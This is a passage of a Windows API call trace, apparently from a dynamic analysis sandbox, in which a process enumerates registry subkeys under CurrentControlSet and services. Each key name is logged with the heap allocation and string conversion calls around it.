lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0244.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.768] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0244.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0244.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.768] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0244.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0244.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0244.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.768] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0244.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0244.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.769] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0244.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0244.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0244.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.769] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0244.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0244.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0244.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.769] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0244.769] RegCloseKey (hKey=0xc4) returned 0x0 [0244.769] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0244.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0244.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.770] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0244.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0244.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1da8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0244.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.770] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0244.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0244.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0244.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.770] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0244.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0244.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.770] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0244.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0244.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.771] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0244.771] RegCloseKey (hKey=0x148) returned 0x0 [0244.771] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0244.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0244.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1da8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0244.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.771] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0244.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0244.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1970, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0244.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.771] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0244.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0244.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1da8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0244.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.772] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0244.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0244.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1970, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0244.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.772] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0244.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0244.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1da8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0244.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.772] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0244.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0244.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1970, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0244.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.772] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0244.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0244.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1da8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0244.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.773] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0244.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0244.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.773] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0244.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0244.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1da8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0244.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.773] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0244.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0244.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 